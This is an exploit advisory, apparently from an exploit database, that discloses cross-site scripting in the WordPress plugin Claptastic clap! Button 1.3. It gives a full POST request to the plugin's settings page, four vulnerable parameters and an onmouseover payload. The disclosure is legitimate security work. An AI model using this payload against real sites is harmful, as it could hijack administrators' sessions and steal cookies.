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# WordPress Claptastic Clap! Button 1.3 Cross Site Scripting Vulnerability

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Product: Claptastic clap! Button

Exploit Author: Sachin Wagh
Version: 1.3

Home page Link: https://wordpress.org/plugins/claptastic-clap-button/

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Details:

The Claptastic clap! Button plugin for WordPress is prone to a multiple
cross-site scripting vulnerability because it fails to sufficiently
sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in
the browser of an unsuspecting user in the context of the affected site.
This may allow the attacker to steal cookie-based authentication
credentials and to launch other attacks.

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Proof-Of-Concept:

1. Burp Request :

POST
/wordpress-4.4/wordpress/wp-admin/options-general.php?page=claptastic-clap-button.php
HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101
Firefox/45.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer:
http://localhost/wordpress-4.4/wordpress/wp-admin/options-general.php?page=claptastic-clap-button.php

Cookie: wp-saving-post=18-check;
wordpress_9053f69aa70f4fc50a08aff40972c70e=root%7C1459165865%7CivjDqmsChZ8j6hYjxAbiE1UfNv0GuLQmaYDV6ReX2Dn%7C2d5e155d52adb160536eaf3540daee34cbbbb19bf07fe3a0c2f60775431aa010;
wp-settings-time-1=1458990477;
wp-settings-1=libraryContent%3Dbrowse%26mfold%3Do%26posts_list_mode%3Dexcerpt%26uploader%3D1%26widgets_access%3Doff;
wordpress_test_cookie=WP+Cookie+check;
wordpress_logged_in_9053f69aa70f4fc50a08aff40972c70e=root%7C1459165865%7CivjDqmsChZ8j6hYjxAbiE1UfNv0GuLQmaYDV6ReX2Dn%7Ce0b893f18be591d73b25f60efbdc24477131766dbec5b7895c630f1cb7b96d55;
security_level=0; _ga=GA1.1.1331075502.1458634204;
PHPSESSID=4gaqfar5bmtmrnpana3a6crff6

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 181



ccb_fontsize=XSS-1&ccb_position=bottomright&ccb_margin=XSS-2&ccb_paddingrightleft=XSS-3&ccb_design=XSS-4&ccb_onfrontpage=no&update_ClaptasticClapButtonPluginSettings=Update+Settings

2. Payload : " onmouseover=prompt(1) "

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Vulnerable Product: [+] Claptastic clap! Button 1.3


Vulnerable Parameter(s):

[+]ccb_fontsize

[+]ccb_margin

[+]ccb_paddingrightleft

[+]ccb_design

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Affected Area(s):

[+]
http://localhost/wordpress-4.4/wordpress/wp-admin/options-general.php?page=claptastic-clap-button.php


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Credits & Authors :

Sachin Wagh (@tiger_tigerboy)

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# Iranian Exploit DataBase = http://IeDb.Ir [2016-03-29]

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